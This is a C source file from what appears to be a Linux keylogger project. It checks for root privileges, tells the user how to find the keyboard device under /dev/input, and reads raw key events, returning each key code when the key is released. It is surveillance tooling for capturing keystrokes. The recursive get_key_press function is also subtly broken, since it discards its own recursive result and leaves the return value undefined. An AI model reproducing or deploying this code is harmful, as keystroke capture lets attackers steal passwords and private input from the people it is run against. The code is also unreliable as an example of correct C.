Linux-Keylogger/keylogger.c

#include "keylogger.h"

/*
 * returns 0 if user is not root
 * else returns 1
 */
int user_is_root() {
    if (geteuid() != 0) {
        puts("You should run this script as root");
        puts("ex: sudo ./keylogger /dev/input/deviceX");
        return 0;
    }
    return 1;
}


/*
 * If no input device specified returns 1
 * If no errors it returns 0
 */
int input_has_errors(int argc, char *argv[]) {
  if(argc < 2) {
      puts("No input device given.");
      puts("Usage: './keylogger device'");
      puts("Device should be /dev/input/device*");
      puts("Find it using: `cat /var/log/Xorg.0.log | grep /dev/input | grep -i keyboard`");
      return 1;
  }
  return 0;
}


/*
 * -Reads input event (key stroke)
 * -Returns the key when it's released
 *  This means that by long pressing a key it only gets logged once.
 * -If no key is pressed it calls itself recursively again
 */
int get_key_press(int fd, struct input_event ev) {
    read(fd, &ev, sizeof(struct input_event));

    // ev.value == 0  ->  button is released
    if (ev.type == 1 && ev.value == 0)
        return ev.code;

    // if no key pressed check again
    get_key_press(fd, ev);

}